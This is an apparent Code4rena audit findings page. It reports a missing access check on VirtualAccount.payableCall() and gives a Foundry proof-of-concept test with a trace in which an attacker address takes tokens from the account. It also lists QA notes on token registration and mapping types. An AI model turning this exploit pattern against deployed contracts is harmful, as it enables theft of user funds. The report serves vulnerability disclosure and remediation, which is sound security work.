Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 133/175
Findings: 2
Award: $11.58
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
Lack of proper access control like requiresApprovedCaller
which is used in other functions of VirtualAccount
can lead to funds getting stolen from the virtual account.
I have coded a POC demonstrating the impact.
In this POC, I have
userAddress
payableCall()
from attackerAddress
passing data to call the SampleERC20 token's transfer
function to simply transfer tokens to the attackerAddress
.attackerAddress
steal 50 SMT tokens from the virtualAccount
//SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.16; import "./helpers/ImportHelper.sol"; import {VirtualAccount} from "../../src/VirtualAccount.sol"; import {BranchPort} from "../../src/BranchPort.sol"; import {ERC20, IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; import {ERC20Helper} from "./helpers/ERC20Helper.sol"; // standard implementation of an ERC20 token. import {PayableCall} from "../../src/interfaces/IVirtualAccount.sol"; contract TestingVirtualAccount is Test { // defining all the variables that will be used in this POC. ERC20Helper sampleERC20; BranchPort branchPort; // initializing Owner's address and defining user and attacker's address. address Owner = address(this); address userAddress; address attackerAddress; // defining our virtual account. VirtualAccount virtualAccount; // defining array of PayableCall struct, this will be used as argument sent in the ' payableCall()' funciton. PayableCall[] calls; function setUp() public { // deploying a basic sample ERC20 token sampleERC20 = new ERC20Helper("SampleToken", "SMT"); // setting up the Branchport that will be needed as the construdtor argument for creating our virtual account. branchPort = new BranchPort(Owner); // setting up user and attacker's address. userAddress = vm.addr(1); attackerAddress = vm.addr(2); // creating a new virtual account. virtualAccount = new VirtualAccount(userAddress, address(branchPort)); // giving initial balance of 100 SMT token to the virtual account. sampleERC20.mint(address(virtualAccount), 100e18); // giving some ether to the attacker to execute the payableCall function. vm.deal(address(attackerAddress), 1 ether); } function testPerfromAttackingPayableCallOnVirtualAccount() public { // setting up the arguments that will be passed in the 'payableCall()' function // I am making the attacker steal 50 tokens of the SMT token. // Also, I am sending 0 gas so the msg.value will also be 0. PayableCall memory payableInfo = PayableCall(address(sampleERC20), abi.encodeWithSelector(IERC20.transfer.selector, address(attackerAddress), 50e18), 0); // pushing the data into our PayableCall[] array. calls.push(payableInfo); // asserting that he attacker has 0 SMT tokens assertEq(sampleERC20.balanceOf(attackerAddress), 0); // starting the simulation from the attacker. vm.startPrank(attackerAddress); // making the payableCall() from the attacker with necessary arguments virtualAccount.payableCall(calls); // ending the simulation vm.stopPrank(); // asserting that the virtual account now only has 50 SMT tokens from the initial balance of 100 while attacker has now 50 SMT tokens. assertEq(sampleERC20.balanceOf(address(virtualAccount)),50e18); assertEq(sampleERC20.balanceOf(attackerAddress), 50e18); } }
The output -
Running 1 test for test/ulysses-omnichain/TestingVirtualAccount.t.sol:TestingVirtualAccount [PASS] testPerfromAttackingPayableCallOnVirtualAccount() (gas: 189957) Traces: [189957] TestingVirtualAccount::testPerfromAttackingPayableCallOnVirtualAccount() ├─ [2607] ERC20Helper::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall] │ └─ ← 0 ├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) │ └─ ← () ├─ [30139] VirtualAccount::payableCall([(0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 0xa9059cbb0000000000000000000000002b5ad5c4795c026514f8317c7a215e218dccd6cf000000000000000000000000000000000000000000000002b5e3af16b1880000, 0)]) │ ├─ [27710] ERC20Helper::transfer(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, 50000000000000000000 [5e19]) │ │ ├─ emit Transfer(from: VirtualAccount: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, value: 50000000000000000000 [5e19]) │ │ └─ ← true │ └─ ← [0x0000000000000000000000000000000000000000000000000000000000000001] ├─ [0] VM::stopPrank() │ └─ ← () ├─ [607] ERC20Helper::balanceOf(VirtualAccount: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall] │ └─ ← 50000000000000000000 [5e19] ├─ [607] ERC20Helper::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall] │ └─ ← 50000000000000000000 [5e19] └─ ← () Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 34.28ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Hence proving the vulnerability that comes with the lack of proper Access Control.
Not only ERC20 tokens but this lack of proper check also opens up multiple attacking options for the hackers.
Manual Review, Foundry
Simply add requiresApprovedCaller
modifier to the VirtualAccount.payableCall()
function.
Access Control
#0 - c4-pre-sort
2023-10-08T14:05:26Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:37:55Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:29:29Z
alcueca marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
11.4657 USDC - $11.47
[01] Ensure a check for new local token that is being added in CoreBranchRouter.addLocalToken()
[02] Implement mappings correctly in RootBranchChain
CoreBranchRouter.addLocalToken()
To add a new local token for an underlying token _underlyingAddress
the protocol has CoreBranchRouter.addLocalToken()
which uses ERC20hTokenBranchFactory.createToken()
to deploy a newToken
which in turn appends hTokens
array of ERC20hTokenBranchFactory
with address of newToken
.
function addLocalToken(address _underlyingAddress, GasParams calldata _gParams) external payable virtual { //Get Token Info uint8 decimals = ERC20(_underlyingAddress).decimals(); //Create Token ERC20hToken newToken = ITokenFactory(hTokenFactoryAddress).createToken( ERC20(_underlyingAddress).name(), ERC20(_underlyingAddress).symbol(), ERC20(_underlyingAddress).decimals(), true ); //Encode Data bytes memory params = abi.encode(_underlyingAddress, newToken, newToken.name(), newToken.symbol(), decimals); // Pack FuncId bytes memory payload = abi.encodePacked(bytes1(0x02), params); //Send Cross-Chain request (System Response/Request) IBridgeAgent(localBridgeAgentAddress).callOutSystem{value: msg.value}(payable(msg.sender), payload, _gParams); }
It then sends the information to root chain using BridgeAgent.callOutSystem
packed with bytes1(0x02)
at the beginning.
the logic of BridgeAgent.callOutSystem
performs a layer zero 'send' to the root chain with 0x00
at the start of the data.
function callOutSystem(address payable _refundee, bytes calldata _params, GasParams calldata _gParams) external payable override lock requiresRouter { //Encode Data for cross-chain call. bytes memory payload = abi.encodePacked(bytes1(0x00), depositNonce++, _params); //Perform Call _performCall(_refundee, payload, _gParams); }
function _performCall(address payable _refundee, bytes memory _payload, GasParams calldata _gParams) internal virtual { // Sends message to LayerZero messaging layer // audit - check whether the address(0) implementation is correct or not ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}( rootChainId, rootBridgeAgentPath, _payload, payable(_refundee), address(0), abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress) ); }
0x00
message implementation is thisfunction lzReceiveNonBlocking(address _endpoint, uint16 _srcChainId, bytes calldata _srcAddress, bytes calldata _payload ) public override requiresEndpoint(_endpoint, _srcChainId, _srcAddress) { // Deposit Nonce uint32 nonce; // DEPOSIT FLAG: 0 (System request / response) if (_payload[0] == 0x00) { // Parse deposit nonce nonce = uint32(bytes4(_payload[PARAMS_START:PARAMS_TKN_START])); // Check if tx has already been executed if (executionState[_srcChainId][nonce] != STATUS_READY) { revert AlreadyExecutedTransaction(); } // Avoid stack too deep uint16 srcChainId = _srcChainId; // Try to execute remote request // Flag 0 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeSystemRequest(_localRouterAddress, _payload, _srcChainId) _execute( nonce, abi.encodeWithSelector( RootBridgeAgentExecutor.executeSystemRequest.selector, localRouterAddress, _payload, srcChainId ), srcChainId );
RootBridgeAgentExecutor.executeSystemRequest
which calls to routerfunction executeSystemRequest(address _router, bytes calldata _payload, uint16 _srcChainId) external payable onlyOwner { //Try to execute remote request IRouter(_router).executeResponse(_payload[PARAMS_TKN_START:], _srcChainId); }
_addLocalToken()
function executeResponse(bytes calldata _encodedData, uint16 _srcChainId) external payable override requiresExecutor { // Parse funcId bytes1 funcId = _encodedData[0]; /// FUNC ID: 2 (_addLocalToken) if (funcId == 0x02) { (address underlyingAddress, address localAddress, string memory name, string memory symbol, uint8 decimals) = abi.decode(_encodedData[1:], (address, address, string, string, uint8)); _addLocalToken(underlyingAddress, localAddress, name, symbol, decimals, _srcChainId); /// FUNC ID: 3 (_setLocalToken) } // .... rest of the code
_addLocalToken
is as followsfunction _addLocalToken( address _underlyingAddress, address _localAddress, string memory _name, string memory _symbol, uint8 _decimals, uint16 _srcChainId ) internal { // Verify if the underlying address is already known by the branch or root chain if (IPort(rootPortAddress).isGlobalAddress(_underlyingAddress)) revert TokenAlreadyAdded(); if (IPort(rootPortAddress).isLocalToken(_underlyingAddress, _srcChainId)) revert TokenAlreadyAdded(); if (IPort(rootPortAddress).isUnderlyingToken(_underlyingAddress, _srcChainId)) revert TokenAlreadyAdded(); //Create a new global token address newToken = address(IFactory(hTokenFactoryAddress).createToken(_name, _symbol, _decimals)); // Update Registry IPort(rootPortAddress).setAddresses( newToken, (_srcChainId == rootChainId) ? newToken : _localAddress, _underlyingAddress, _srcChainId ); }
Now, as it is clearly visible that this logic is checking whether the localToken
for a particular _underlyingAddress
on a specific _srcChainId
is already set and rightfully reverts if that's the case
My point is that the situation is reverted on the "root chain" side but nothing is done for reverting it on the "branch chain side"
What I mean is that nothing is done to remove newToken
address from hToken
array of ERC20hTokenBranchFactory
.
This can create unnecessary confusion on the "branch side" with hToken
array containing addresses that aren't even recognized by the "root chain"
There are unnecessary hTokens with which users can interact and that will result in unexpected outcomes for them.
mapping(address underLyingToken => address hToken) underLyingTokenToHtokens
BranchPort
RootBranchChain
if we look closely at these mappings defined in the RootBranchChain
/// @notice ChainId -> Local Address -> Global Address mapping(address chainId => mapping(uint256 localAddress => address globalAddress)) public getGlobalTokenFromLocal; /// @notice ChainId -> Global Address -> Local Address mapping(address chainId => mapping(uint256 globalAddress => address localAddress)) public getLocalTokenFromGlobal; /// @notice ChainId -> Underlying Address -> Local Address mapping(address chainId => mapping(uint256 underlyingAddress => address localAddress)) public getLocalTokenFromUnderlying; /// @notice Mapping from Local Address to Underlying Address. mapping(address chainId => mapping(uint256 localAddress => address underlyingAddress)) public getUnderlyingTokenFromLocal;
Their code comments wanted them to be uint chain -> Address -> Address
, but these implementation are in the form Address -> uint chainID -> Address
and even in the naming convention we can clearly see that there's a slight mistake, it should have been uint chainId
instead of address chainId
and address localAddress
/ address globalAddress
instead of uint256 localAddress
.
There's no harmful consequences to these as the code works well but it can be confusing for the readers or developers who want to build their protocol on top of these contracts.
Just simply implement it in the way as it is in the code comments and re-test it.
#0 - c4-pre-sort
2023-10-15T12:24:16Z
0xA5DF marked the issue as sufficient quality report
#1 - c4-judge
2023-10-20T13:43:50Z
alcueca marked the issue as grade-b